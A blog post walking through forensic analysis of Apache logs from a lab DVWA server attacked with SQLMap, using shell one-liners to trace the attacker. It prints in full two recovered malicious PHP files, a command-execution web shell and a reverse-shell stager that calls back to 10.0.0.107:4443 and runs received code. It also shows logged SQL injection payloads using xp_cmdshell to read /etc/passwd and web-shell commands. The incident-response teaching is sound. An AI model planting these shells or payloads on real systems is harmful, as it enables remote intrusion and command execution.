In the previous post, we learned how to use SQLMap to perform SQL injection attacks. While it was cool that we were able to perform the attack, an important takeaway for us as defenders is being able to detect this activity.
Let's paint a scenario.
As the security lead, you got a mail from your web server administrator, stating that she believes the web server has been compromised. Why does she think so? She thinks so because the server is "acting weird". Because of the concern, she took a copy of the logs, the full packet capture and a memory dump to send them to you for analysis. In this post, we look at the logs. In the next post we look at the packets with TShark.
Specifically she gives you a '.zip' file with the data as. You first confirm the file type using the file command:
kali@securtynik:~$ file potentialCompromise.zip potentialCompromise.zip: Zip archive data, at least v2.0 to extract
Looking into the file for the contents you see among those Apache logs, pcaps and a memory dump.
kali@securtynik:~$ unzip -v potentialCompromise.zip Archive: potentialCompromise.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 496733 Defl:N 13740 97% 2020-06-24 15:06 aab2aec8 Suspect-Compromise/access.log 14655 Defl:N 1908 87% 2020-06-24 15:07 a76dafdd Suspect-Compromise/error.log 6 Stored 6 0% 2020-06-24 15:07 fc43e46d Suspect-Compromise/httpd.pid 3146 Defl:N 463 85% 2017-11-03 06:31 077f3d81 Suspect-Compromise/install.log 2147020800 Defl:N 751465144 65% 2020-06-24 17:30 ae34204c Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.dmp 1512 Defl:N 659 56% 2020-06-24 17:30 a0ade79d Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.json 0 Stored 0 0% 2018-02-05 02:39 00000000 Suspect-Compromise/ssl_request.log 17331848 Defl:N 3975773 77% 2020-06-24 17:34 31c2913b Suspect-Compromise/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng -------- ------- --- ------- 2164868700 755457693 65% 8 files
You then extract the files into a folder named "potentialCompromise"
kali@securtynik:~$ unzip -d ./potentialCompromise potentialCompromise.zip Archive: potentialCompromise.zip inflating: ./potentialCompromise/Suspect-Compromise/access.log inflating: ./potentialCompromise/Suspect-Compromise/error.log extracting: ./potentialCompromise/Suspect-Compromise/httpd.pid inflating: ./potentialCompromise/Suspect-Compromise/install.log inflating: ./potentialCompromise/Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.dmp inflating: ./potentialCompromise/Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.json extracting: ./potentialCompromise/Suspect-Compromise/ssl_request.log inflating: ./potentialCompromise/Suspect-Compromise/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng
Out of curiosity, you decided to first look at the "httpd.pid" file. This is just to understand the process ID the web server software was using at that point in time.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat httpd.pid 5392
Looking at the error.log, we see below there are 63 lines.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | wc --lines 63
Continuing with the "error.log", let's see what clients might have been found in this file. Leveraging some command line kung fu, we see there are 50 IPs being reported in the "error.log" file.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep --perl-regexp "\[client\s+\d+\.\d+\.\d+\.\d+\:.*?\]" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse | wc --lines 50
While we know we have 50 IPs, how many of these IPs are unique? Let's find this out by modifying the command above to now extract the IP addresses.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep --perl-regexp "\[client\s+\d+\.\d+\.\d+\.\d+\:.*?\]" --color=always --only-matching | cut --fields 2 --delimiter " " | awk --field-separator ":" '{ print $1 }' | sort | uniq --count | sort --numeric --reverse 50 10.0.0.107 2 127.0.0.1 1 10.0.0.108
Interesting, it seems the host at IP address "10.0.0.107" was responsible for most of the interactions with this server. We know from above also that "127.0.0.1" represents the "localhost". Our administrator told us that the suspected compromise device had an IP address of "10.0.0.108". We can now focus our attention to the errors as which are associated with IP address "10.0.0.107".
As we look through the logs, we see a number messages reporting:
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep "10.0.0.107" | grep "error" [Wed Jun 24 15:52:33.453519 2020] [php7:error] [pid 5108:tid 1940] [client 10.0.0.107:46864] script 'C:/xampp/htdocs/xampp/tmpucfol.php' not found or unable to stat [Wed Jun 24 15:52:33.547367 2020] [php7:error] [pid 5108:tid 1932] [client 10.0.0.107:46866] script 'C:/xampp/htdocs/tmpucfol.php' not found or unable to stat ..... [Wed Jun 24 15:52:35.422342 2020] [php7:error] [pid 5108:tid 1932] [client 10.0.0.107:46942] script 'C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpugbqx.php' not found or unable to stat [Wed Jun 24 15:52:35.516019 2020] [php7:error] [pid 5108:tid 1940] [client 10.0.0.107:46948] script 'C:/xampp/htdocs/tmpugbqx.php' not found or unable to stat .....
The messages above looks interesting. Let's see if we can figure out the files names which are involved.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep "10.0.0.107" | grep "error" | grep --perl-regexp "C:\/.*?\'" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse 1 C:/xampp/htdocs/xampp/tmpucpje.php' 1 C:/xampp/htdocs/xampp/tmpucfol.php' 1 C:/xampp/htdocs/tmpusbtm.php' 1 C:/xampp/htdocs/tmpupivc.php' 1 C:/xampp/htdocs/tmpupdqm.php' 1 C:/xampp/htdocs/tmpukwkd.php' 1 C:/xampp/htdocs/tmpugbqx.php' 1 C:/xampp/htdocs/tmpucpje.php' 1 C:/xampp/htdocs/tmpucfol.php' 1 C:/xampp/htdocs/tmpuaivl.php' 1 C:/xampp/htdocs/server.php' 1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpupdqm.php' 1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpukwkd.php' 1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpugbqx.php' 1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpuaivl.php' kali@securtynik:~/potentialCompromise/Suspect-Compromise$
At this point, we are left to wonder what are all those filenames. So we reach out to our Administrator and ask her if those files exists on the impacted system.
Looking in the "c:\xampp\htdocs\" folders, she sees:
C:\>dir c:\xampp\htdocs\tmp*.php Volume in drive C has no label. Volume Serial Number is 6C10-15EA Directory of c:\xampp\htdocs 06/23/2020 03:47 PM 866 tmpbaofx.php 06/23/2020 02:37 PM 866 tmpbbfgh.php 06/24/2020 01:49 PM 866 tmpbemfa.php 06/24/2020 03:52 PM 866 tmpbfkst.php 06/24/2020 03:52 PM 719 tmpuevkq.php 06/23/2020 03:47 PM 720 tmpugugb.php 06/24/2020 01:49 PM 719 tmpuozez.php 06/23/2020 02:37 PM 722 tmputuei.php 8 File(s) 6,344 bytes 0 Dir(s) 6,873,497,600 bytes free
While it is not shown, this behaviour is much the same when she looks into the other folders. We then ask her to use the "type" command to see the contents of one of the files. She then executes:
C:\>type c:\xampp\htdocs\tmpbaofx.php <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c); \ $w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
Knowing neither this file nor its contents should be on the server, she then confirms that it is more than likely this system has been compromised. Additionally, while she may not be a PHP expert, she knows that looking and entries above such as "cmd", "system", "system", "popen", etc., it is more than likely the script is interacting with the file system. These files are now considered as artifacts of this incident and indicators of compromise (IoC).
Continuing with the log analysis, we now look at the "access.log", with a focus on the entries with the suspect IP address of "10.0.0.107". Let's now learn about the type of host the attacker might have used to connect to our system. The quickest way to get this insight is via the User agent string. While this can be helpful, note it can also be easily spoofed. However, we will still used this. Looking at a sample entry in the log file.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat --number access.log | more 1 10.0.0.108 - - [24/Jun/2020:15:08:41 -0400] "GET /dvwa/login.php HTTP/1.1" 200 1523 "-" "Opera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.14" 2 10.0.0.108 - - [24/Jun/2020:15:08:41 -0400] "GET /dvwa/dvwa/css/login.css HTTP/1.1" 200 842 "http://10.0.0.108/dvwa/ login.php" "Opera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.14"
From the log entry, it seems the user-agent is found as the last field. Extracting that information with once again some command line kung fu.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 6 --delimiter "\"" ...... Opera/9.23 (Windows NT 5.1; U; da) Opera/9.23 (Windows NT 5.1; U; da) Opera/9.23 (Windows NT 5.1; U; da) - Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
At this point we should be wondering why all these different user agents for the same host. Let's see if there is anything more interesting going on here. Let's now break down the output even further, with the aim of making sense of these different user agents.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 6 --delimiter "\"" | sort | uniq --count | sort --numeric --reverse 702 sqlmap/1.4.6#stable (http://sqlmap.org) 220 Opera/9.23 (Windows NT 5.1; U; da) 154 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre 153 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 153 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 152 Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18 152 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 152 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 152 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 152 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 152 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13 152 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 30 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 2 -
Wow! Lots of different User agents from the same host. This can be for different reasons. Maybe different applications accessing our environment. However, the one of concern for us is:
702 sqlmap/1.4.6#stable (http://sqlmap.org)
Let's see what else the threat actor at "10.0.0.107" might have done against our system. Specifically let's look at the HTTP methods.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 2 --delimiter "\"" | sort | uniq --count | sort --numeric --reverse | more 2380 POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 3 GET /tmpbfkst.php?cmd=help HTTP/1.1 2 POST /tmpuevkq.php HTTP/1.1 2 POST /dvwa/login.php HTTP/1.1 2 GET /tmpuevkq.php HTTP/1.1 2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1 2 GET /server.php HTTP/1.1 2 GET /dvwa/vulnerabilities/captcha/ HTTP/1.1 2 GET /dvwa/setup.php HTTP/1.1 2 GET /dvwa/security.php HTTP/1.1 2 GET /dvwa/login.php HTTP/1.1 2 - 1 POST /dvwa/vulnerabilities/sqli/?ZYVv=8330%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28 %22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_ cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1 1 POST /dvwa/vulnerabilities/sqli/?ydiY=9356%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28 %22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_ cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1 1 POST /dvwa/vulnerabilities/sqli/?xCGT=7215%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28 %22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_ cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1 1 POST /dvwa/vulnerabilities/sqli/?VxNq=1247%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28 %22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_ cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1 1 POST /dvwa/vulnerabilities/sqli/?okRh=6965%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28 %22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_ cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1 1 POST /dvwa/vulnerabilities/sqli/?NfIT=2391%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28 %22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_ cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1 ............
From the looks of above, it seems with a large number of entries in our "access.log" file pointing to "/dvwa/vulnerabilities/sqli/", it is quite possible there is a vulnerability at this location of the site.
Additionally, if we look we see
3 GET /tmpbfkst.php?cmd=help HTTP/1.1 2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1
If we tie this back into our earlier analysis, we can conclude the files in question which we asked the Administrator to see if they exist, are used for executing commands.
Looking to see what some of the other lines represent, we then leverage a URL decoder. Upon conversion we see the following for the lines above.
1 POST/dvwa/vulnerabilities/sqli/?ZYVv=8330 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1 1 POST/dvwa/vulnerabilities/sqli/?ydiY=9356 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1 1 POST/dvwa/vulnerabilities/sqli/?xCGT=7215 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1
Looking to see what other actions the attacker might have performed, if we look at additional entries for which "cmd" is used, we see
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep "cmd=" | awk --field-separator "\"" '{ print $2 }' | sort | uniq --count | sort --numeric --reverse 3 GET /tmpbfkst.php?cmd=help HTTP/1.1 2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1 1 GET /tmpbfkst.php?cmd=wmic%20useraccount HTTP/1.1 1 GET /tmpbfkst.php?cmd=query HTTP/1.1 1 GET /tmpbfkst.php?cmd=query%20user HTTP/1.1 1 GET /tmpbfkst.php?cmd=HELP%20CMD HTTP/1.1 1 GET /tmpbfkst.php?cmd=echo%20command%20execution%20test HTTP/1.1 1 GET /tmpbfkst.php?cmd=CMD HTTP/1.1 1 GET /tmpbfkst.php?cmd=cmd HTTP/1.1 1 GET /tmpbfkst.php?cmd=cmd.exe%20%2Fc%20query%20user HTTP/1.1 1 GET /tmpbfkst.php?cmd=cmd%20whoami HTTP/1.1 1 GET /tmpbfkst.php?cmd=CMD%20%2Fc%20%22query%20user%22 HTTP/1.1 1 GET /tmpbfkst.php?cmd=CMD%20%22%2FC%20query%20user%22 HTTP/1.1
From above, we can see clearly some of the commands which were executed. Ultimately, to tidy this up more, feel free to dump the lines into a URL decoder.
If we step back for a second, we see a number of "404" errors before we see "200". It seems like some type of brute force mechanism was used to locate these files.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep "tmp" | awk --field-separator "\"" '{ print $2 "\t" $3 }' GET /xampp/tmpucfol.php HTTP/1.1 404 1054 GET /tmpucfol.php HTTP/1.1 404 1054 GET /xampp/tmpucpje.php HTTP/1.1 404 1054 GET /tmpucpje.php HTTP/1.1 404 1054 GET /xampp/dvwa/vulnerabilities/sqli/tmpukwkd.php HTTP/1.1 404 1054 ...... GET /htdocs/tmpuevkq.php HTTP/1.1 404 1054 GET /tmpuevkq.php HTTP/1.1 200 314 POST /tmpuevkq.php HTTP/1.1 200 24 GET /tmpbfkst.php?cmd=echo%20command%20execution%20test HTTP/1.1 200 36 GET /tmpbfkst.php?cmd=help HTTP/1.1 200 5751
As we go through the "GET" requests to painstakingly understand which files were requested versus which files we know should be there, we come up with a file named "server.php"
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep --perl-regexp "GET.*?\"" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse | grep server 2 GET /server.php HTTP/1.1"
Expanding on the log entries where "server.php" was seen.
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep --perl-regexp "server.php" 10.0.0.107 - - [24/Jun/2020:17:01:17 -0400] "GET /server.php HTTP/1.1" 404 1054 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 10.0.0.107 - - [24/Jun/2020:17:07:11 -0400] "GET /server.php HTTP/1.1" 200 9 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
We see once again the "404" message for "server.php" then a "200" message. At this point it would be safe to conclude the attacker probably uploaded these files to the server as initially the file was not there, then it appeared.
Asking the Administrator to provide some guidance on this file, she mentioned she doesn't know of it. When we read the contents of the file on the impacted server, we see:
C:\>dir c:\xampp\htdocs\server.php Volume in drive C has no label. Volume Serial Number is 6C10-15EA Directory of c:\xampp\htdocs 06/24/2020 05:01 PM 1,110 server.php 1 File(s) 1,110 bytes 0 Dir(s) 6,870,552,576 bytes free C:\>type c:\xampp\htdocs\server.php <?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Above looks interesting as we see the IP address "10.0.0.107" and port "4443". This would be a good time to transition from our log analysis and begin looking at our packets.
At this point I believe we have gathered a fair amount of information based on our logs to conclude this host was truly pwn'd.
You should at this point along with any other analysis you continue to do, ensure you look at the timeline of when this activity started.
If you would like to learn more about log analysis, see my book Hack and Detect which can be found on Amazon.
Posts in this series:
References:
No comments:
Post a Comment